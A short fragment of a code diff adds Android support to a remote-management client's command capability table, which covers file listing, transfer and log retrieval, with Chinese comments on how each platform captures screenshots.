{ "list_files", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
// Android 客户端同样实现了 COMMAND_QUERY_LOG → TOKEN_REPORT_LOG 子连接上报
|
||||
{ "get_client_log", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
{ "download_file", kPlatWin|kPlatLnx|kPlatMac },
|
||||
{ "read_file", kPlatWin|kPlatLnx|kPlatMac },
|
||||
{ "upload_file", kPlatWin|kPlatLnx|kPlatMac },
|
||||
{ "download_file", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
{ "read_file", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
{ "upload_file", kPlatWin|kPlatLnx|kPlatMac|kPlatApk },
|
||||
// ---- win+lnx(+apk) ---- 远程控制全族 + 需 SCREEN_PREVIEW 的截屏 + macOS 未开放项
|
||||
// Android 用无障碍 takeScreenshot(API 30+,需开无障碍服务),只支持 mode=screen
|
||||
// macOS 走 macos/ScreenPreview.mm(CGDisplayCreateImage,声明 CLIENT_CAP_SCREEN_PREVIEW
|
||||
|
||||
Reference in new issue
Block a user